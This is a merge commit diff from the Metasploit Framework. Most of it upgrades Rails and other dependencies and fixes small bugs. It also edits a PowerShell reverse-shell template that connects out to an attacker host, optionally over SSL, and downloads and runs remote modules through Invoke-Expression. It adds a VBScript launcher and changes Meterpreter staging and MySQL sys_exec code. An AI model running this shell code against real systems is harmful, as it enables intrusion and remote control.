Merge remote-tracking branch 'upstream/master' into pageant_extension
commit
2d2032c96b
8
Gemfile
8
Gemfile
|
@ -8,7 +8,7 @@ group :coverage do
|
|||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
gem 'simplecov'
|
||||
end
|
||||
|
||||
group :db do
|
||||
|
@ -25,12 +25,8 @@ group :development do
|
|||
end
|
||||
|
||||
group :development, :test do
|
||||
# supplies factories for producing model instance for specs
|
||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails'
|
||||
gem 'factory_girl_rails', '~> 4.5.0'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
|
|
240
Gemfile.lock
240
Gemfile.lock
|
@ -2,14 +2,14 @@ PATH
|
|||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.0.pre.dev)
|
||||
actionpack (>= 3.2.21, < 4.0.0)
|
||||
activesupport (>= 3.2.21, < 4.0.0)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit-payloads (= 0.0.3)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit-payloads (= 0.0.7)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -21,10 +21,10 @@ PATH
|
|||
sqlite3
|
||||
tzinfo
|
||||
metasploit-framework-db (4.11.0.pre.dev)
|
||||
activerecord (>= 3.2.21, < 4.0.0)
|
||||
metasploit-credential (= 0.14.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (~> 1.0)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
pg (>= 0.11)
|
||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
||||
metasploit-framework (= 4.11.0.pre.dev)
|
||||
|
@ -34,148 +34,147 @@ PATH
|
|||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionmailer (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
mail (~> 2.5.4)
|
||||
actionpack (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
actionmailer (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
mail (~> 2.5, >= 2.5.4)
|
||||
actionpack (4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
builder (~> 3.1.0)
|
||||
erubis (~> 2.7.0)
|
||||
journey (~> 1.0.4)
|
||||
rack (~> 1.4.5)
|
||||
rack-cache (~> 1.2)
|
||||
rack-test (~> 0.6.1)
|
||||
sprockets (~> 2.2.1)
|
||||
activemodel (3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activeresource (3.2.21)
|
||||
activemodel (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
activesupport (3.2.21)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.3)
|
||||
rack (~> 1.5.2)
|
||||
rack-test (~> 0.6.2)
|
||||
activemodel (4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
builder (~> 3.1.0)
|
||||
activerecord (4.0.13)
|
||||
activemodel (= 4.0.13)
|
||||
activerecord-deprecated_finders (~> 1.0.2)
|
||||
activesupport (= 4.0.13)
|
||||
arel (~> 4.0.0)
|
||||
activerecord-deprecated_finders (1.0.4)
|
||||
activesupport (4.0.13)
|
||||
i18n (~> 0.6, >= 0.6.9)
|
||||
minitest (~> 4.2)
|
||||
multi_json (~> 1.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 0.3.37)
|
||||
arel (4.0.2)
|
||||
arel-helpers (2.1.0)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.1)
|
||||
aruba (0.6.2)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
bcrypt (3.1.10)
|
||||
builder (3.0.4)
|
||||
capybara (2.4.1)
|
||||
builder (3.1.4)
|
||||
capybara (2.4.4)
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.3)
|
||||
childprocess (0.5.5)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
coderay (1.1.0)
|
||||
cucumber (1.2.1)
|
||||
cucumber (1.3.19)
|
||||
builder (>= 2.1.2)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 2.11.0)
|
||||
json (>= 1.4.6)
|
||||
cucumber-rails (1.4.0)
|
||||
capybara (>= 1.1.2)
|
||||
cucumber (>= 1.2.0)
|
||||
nokogiri (>= 1.5.0)
|
||||
rails (>= 3.0.0)
|
||||
gherkin (~> 2.12)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-rails (1.4.2)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 2)
|
||||
mime-types (>= 1.16, < 3)
|
||||
nokogiri (~> 1.5)
|
||||
rails (>= 3, < 5)
|
||||
diff-lcs (1.2.5)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.4.0)
|
||||
factory_girl (4.5.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.4.1)
|
||||
factory_girl (~> 4.4.0)
|
||||
factory_girl_rails (4.5.0)
|
||||
factory_girl (~> 4.5.0)
|
||||
railties (>= 3.0.0)
|
||||
ffi (1.9.3)
|
||||
ffi (1.9.8)
|
||||
fivemat (1.2.1)
|
||||
gherkin (2.11.6)
|
||||
json (>= 1.7.6)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
hike (1.2.3)
|
||||
i18n (0.7.0)
|
||||
journey (1.0.4)
|
||||
jsobfu (0.2.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.2)
|
||||
mail (2.5.4)
|
||||
mime-types (~> 1.16)
|
||||
treetop (~> 1.4.8)
|
||||
metasploit-concern (0.4.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.14.5)
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit_data_models (= 0.24.0)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
metasploit-concern (1.0.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-credential (1.0.0)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
metasploit_data_models (~> 1.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
railties
|
||||
rubyntlm
|
||||
rubyzip (~> 1.1)
|
||||
metasploit-model (0.29.2)
|
||||
activesupport
|
||||
railties (< 4.0.0)
|
||||
metasploit-payloads (0.0.3)
|
||||
metasploit_data_models (0.24.0)
|
||||
activerecord (>= 3.2.13, < 4.0.0)
|
||||
activesupport
|
||||
metasploit-model (1.0.0)
|
||||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (0.0.7)
|
||||
metasploit_data_models (1.0.1)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
arel-helpers
|
||||
metasploit-concern (= 0.4.0)
|
||||
metasploit-model (~> 0.29.0)
|
||||
metasploit-concern (~> 1.0)
|
||||
metasploit-model (~> 1.0)
|
||||
pg
|
||||
railties (< 4.0.0)
|
||||
postgres_ext
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
recog (~> 1.0)
|
||||
method_source (0.8.2)
|
||||
mime-types (1.25.1)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
minitest (4.7.5)
|
||||
msgpack (0.5.11)
|
||||
multi_json (1.0.4)
|
||||
multi_json (1.11.0)
|
||||
multi_test (0.1.2)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.6.2)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pcaprub (0.12.0)
|
||||
pg (0.18.1)
|
||||
polyglot (0.3.5)
|
||||
pry (0.10.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (2.4.1)
|
||||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.1)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.4.5)
|
||||
rack-cache (1.2)
|
||||
rack (>= 0.4)
|
||||
rack-ssl (1.3.4)
|
||||
rack
|
||||
rack (1.5.2)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (3.2.21)
|
||||
actionmailer (= 3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activerecord (= 3.2.21)
|
||||
activeresource (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
bundler (~> 1.0)
|
||||
railties (= 3.2.21)
|
||||
railties (3.2.21)
|
||||
actionpack (= 3.2.21)
|
||||
activesupport (= 3.2.21)
|
||||
rack-ssl (~> 1.3.2)
|
||||
rails (4.0.13)
|
||||
actionmailer (= 4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activerecord (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
bundler (>= 1.3.0, < 2.0)
|
||||
railties (= 4.0.13)
|
||||
sprockets-rails (~> 2.0)
|
||||
railties (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
activesupport (= 4.0.13)
|
||||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (10.4.2)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.27)
|
||||
recog (1.0.29)
|
||||
nokogiri
|
||||
redcarpet (3.2.3)
|
||||
rkelly-remix (0.0.6)
|
||||
|
@ -184,12 +183,12 @@ GEM
|
|||
rspec-core (~> 2.99.0)
|
||||
rspec-expectations (~> 2.99.0)
|
||||
rspec-mocks (~> 2.99.0)
|
||||
rspec-collection_matchers (1.0.0)
|
||||
rspec-collection_matchers (1.1.2)
|
||||
rspec-expectations (>= 2.99.0.beta1)
|
||||
rspec-core (2.99.1)
|
||||
rspec-core (2.99.2)
|
||||
rspec-expectations (2.99.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.99.2)
|
||||
rspec-mocks (2.99.3)
|
||||
rspec-rails (2.99.0)
|
||||
actionpack (>= 3.0)
|
||||
activemodel (>= 3.0)
|
||||
|
@ -201,28 +200,32 @@ GEM
|
|||
rspec-mocks (~> 2.99.0)
|
||||
rubyntlm (0.5.0)
|
||||
rubyzip (1.1.7)
|
||||
shoulda-matchers (2.6.2)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.9.2)
|
||||
docile (~> 1.1.0)
|
||||
multi_json (~> 1.0)
|
||||
simplecov-html (~> 0.9.0)
|
||||
simplecov-html (0.9.0)
|
||||
slop (3.6.0)
|
||||
sprockets (2.2.3)
|
||||
sprockets (2.12.3)
|
||||
hike (~> 1.2)
|
||||
multi_json (~> 1.0)
|
||||
rack (~> 1.0)
|
||||
tilt (~> 1.1, != 1.3.0)
|
||||
sprockets-rails (2.2.4)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
sprockets (>= 2.8, < 4.0)
|
||||
sqlite3 (1.3.10)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
tilt (1.4.1)
|
||||
timecop (0.7.1)
|
||||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
timecop (0.7.3)
|
||||
tzinfo (0.3.43)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
yard (0.8.7.6)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -230,8 +233,7 @@ PLATFORMS
|
|||
DEPENDENCIES
|
||||
aruba
|
||||
cucumber-rails
|
||||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
factory_girl_rails (~> 4.5.0)
|
||||
fivemat (= 1.2.1)
|
||||
metasploit-framework!
|
||||
metasploit-framework-db!
|
||||
|
@ -242,6 +244,6 @@ DEPENDENCIES
|
|||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
|
|
@ -20,6 +20,7 @@ Bundler.require(
|
|||
#
|
||||
|
||||
# For compatibility with jquery-rails (and other engines that need action_view) in pro
|
||||
require 'action_controller/railtie'
|
||||
require 'action_view/railtie'
|
||||
|
||||
#
|
||||
|
@ -36,6 +37,15 @@ module Metasploit
|
|||
|
||||
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
|
||||
case Rails.env
|
||||
when "development"
|
||||
config.eager_load = false
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,8 +10,9 @@ function Get-Webclient
|
|||
function powerfun
|
||||
{
|
||||
Param(
|
||||
[String]$Command,
|
||||
[String]$Download
|
||||
[String]$Command,
|
||||
[String]$Sslcon,
|
||||
[String]$Download
|
||||
)
|
||||
Process {
|
||||
$modules = @(MODULES_REPLACE)
|
||||
|
@ -25,19 +26,33 @@ function powerfun
|
|||
{
|
||||
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
|
||||
}
|
||||
|
||||
$stream = $client.GetStream()
|
||||
|
||||
if ($Sslcon -eq "true")
|
||||
{
|
||||
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
|
||||
$stream = $sslStream
|
||||
}
|
||||
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
if ($Download -eq "true")
|
||||
{
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
ForEach ($module in $modules)
|
||||
{
|
||||
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
||||
}
|
||||
}
|
||||
}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||
|
|
|
@ -19,6 +19,7 @@ define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
|
|||
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
|
||||
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
|
||||
define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
|
||||
define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206);
|
||||
|
||||
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
|
||||
|
||||
|
@ -533,8 +534,7 @@ function stdapi_fs_md5($req, &$pkt) {
|
|||
$md5 = md5(file_get_contents($path));
|
||||
}
|
||||
$md5 = pack("H*", $md5);
|
||||
# Ghetto abuse of file name type to indicate the md5 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -552,8 +552,7 @@ function stdapi_fs_sha1($req, &$pkt) {
|
|||
$sha1 = sha1(file_get_contents($path));
|
||||
}
|
||||
$sha1 = pack("H*", $sha1);
|
||||
# Ghetto abuse of file name type to indicate the sha1 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -307,6 +307,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
|||
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
||||
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
|
||||
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||
|
||||
|
@ -1011,7 +1012,7 @@ def stdapi_fs_md5(request, response):
|
|||
m = md5.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -1061,7 +1062,7 @@ def stdapi_fs_sha1(request, response):
|
|||
m = sha.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
<script language="VBScript">
|
||||
Set %{var_shell} = CreateObject("Wscript.Shell")
|
||||
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
|
||||
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
|
||||
%{var_shell}.Run "%{powershell}"
|
||||
End If
|
||||
</script>
|
645
db/schema.rb
645
db/schema.rb
File diff suppressed because it is too large
Load Diff
|
@ -17,6 +17,10 @@ module Metasploit
|
|||
self.uri = "/j_acegi_security_check" if self.uri.nil?
|
||||
self.method = "POST" if self.method.nil?
|
||||
|
||||
if self.uri[0] != '/'
|
||||
self.uri = "/#{self.uri}"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
@ -37,15 +41,15 @@ module Metasploit
|
|||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'method'=>'POST',
|
||||
'uri'=>'/j_acegi_security_check',
|
||||
'method'=> method,
|
||||
'uri'=> uri,
|
||||
'vars_post'=> {
|
||||
'j_username' => credential.public,
|
||||
'j_password'=>credential.private
|
||||
'j_password'=> credential.private
|
||||
}
|
||||
})
|
||||
res = cli.send_recv(req)
|
||||
if res && !res.headers['location'].include?('loginError')
|
||||
if res && res.headers['location'] && !res.headers['location'].include?('loginError')
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
|
||||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
|
|
|
@ -6,7 +6,7 @@ module Metasploit
|
|||
|
||||
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
|
||||
# Rails 3.X that are removed in Rails 4.
|
||||
RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ]
|
||||
RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ]
|
||||
end
|
||||
end
|
||||
end
|
|
@ -307,6 +307,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
|
||||
begin
|
||||
self.machine_id = self.core.machine_id(timeout)
|
||||
self.payload_uuid ||= self.core.uuid(timeout)
|
||||
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
# This meterpreter doesn't support core_machine_id
|
||||
|
@ -326,8 +328,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
begin
|
||||
::Timeout.timeout(60) do
|
||||
# Gather username/system information
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
safe_info = "#{username} @ #{sysinfo['Computer']}"
|
||||
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
|
||||
|
|
|
@ -18,7 +18,6 @@ module MeterpreterOptions
|
|||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
|
||||
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
|
||||
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
|
||||
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
|
||||
|
|
|
@ -169,7 +169,7 @@ module Auxiliary::Report
|
|||
# @option opts [String] :user The username for the cred
|
||||
# @option opts [String] :pass The private part of the credential (e.g. password)
|
||||
def report_auth_info(opts={})
|
||||
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
|
||||
print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!")
|
||||
return if not db
|
||||
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
|
||||
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
|
||||
|
|
|
@ -157,8 +157,6 @@ module Msf::DBManager::Host
|
|||
|
||||
if not addr.kind_of? ::Mdm::Host
|
||||
addr = normalize_host(addr)
|
||||
addr, scope = addr.split('%', 2)
|
||||
opts[:scope] = scope if scope
|
||||
|
||||
unless ipv46_validator(addr)
|
||||
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
|
||||
|
|
|
@ -4,12 +4,23 @@ module Msf::DBManager::IPAddress
|
|||
end
|
||||
|
||||
def ipv4_validator(addr)
|
||||
return false unless addr.kind_of? String
|
||||
Rex::Socket.is_ipv4?(addr)
|
||||
if addr.try(:ipv4?)
|
||||
true
|
||||
elsif addr.kind_of? String
|
||||
Rex::Socket.is_ipv4?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def ipv6_validator(addr)
|
||||
Rex::Socket.is_ipv6?(addr)
|
||||
if addr.try(:ipv6?)
|
||||
true
|
||||
elsif addr.kind_of? String
|
||||
Rex::Socket.is_ipv6?(addr)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def rfc3330_reserved(ip)
|
||||
|
|
|
@ -95,7 +95,6 @@ module Msf::DBManager::Session
|
|||
if session.exploit.user_data_is_match?
|
||||
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
|
||||
match: session.exploit.user_data[:match],
|
||||
match_set: session.exploit.user_data[:match_set],
|
||||
run: session.exploit.user_data[:run],
|
||||
state: 'succeeded',
|
||||
)
|
||||
|
|
|
@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
|
|||
end
|
||||
|
||||
def mysql_drop_and_create_sys_exec(soname)
|
||||
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
|
||||
return false if res.nil?
|
||||
# Just drop it. MySQL will always say "OK" anyway.
|
||||
# See #5244
|
||||
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
|
||||
|
||||
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
|
||||
return false if res.nil?
|
||||
|
|
|
@ -90,7 +90,7 @@ module ReverseHopHttp
|
|||
ReverseHopHttp.hop_handlers[full_uri] = self
|
||||
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
|
||||
self) do |uri, hop_http|
|
||||
hop_http.send_new_stage # send stage to hop
|
||||
hop_http.send_new_stage(uri) # send stage to hop
|
||||
delay = 1 # poll delay
|
||||
# Continue to loop as long as at least one handler or one session is depending on us
|
||||
until hop_http.refs < 1 && hop_http.handlers.empty?
|
||||
|
@ -138,7 +138,7 @@ module ReverseHopHttp
|
|||
:ssl => false,
|
||||
})
|
||||
# send new stage to hop so next inbound session will get a unique ID.
|
||||
hop_http.send_new_stage
|
||||
hop_http.send_new_stage(uri)
|
||||
else
|
||||
hop_http.lock.unlock
|
||||
end
|
||||
|
@ -241,34 +241,27 @@ module ReverseHopHttp
|
|||
#
|
||||
# Generates and sends a stage up to the hop point to be ready for the next client
|
||||
#
|
||||
def send_new_stage
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
def send_new_stage(uri)
|
||||
# try to get the UUID out of the existing URI
|
||||
info = process_uri_resource(uri)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
|
||||
# generate a new connect
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
conn_id = generate_uri_uuid(sum, uuid)
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
blob = encode_stage(blob)
|
||||
blob = stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
|
||||
#send up
|
||||
crequest = mclient.request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => control,
|
||||
'data' => blob,
|
||||
'data' => encode_stage(blob),
|
||||
'headers' => {'X-init' => 'true'}
|
||||
)
|
||||
res = mclient.send_recv(crequest)
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/parser/x509_certificate'
|
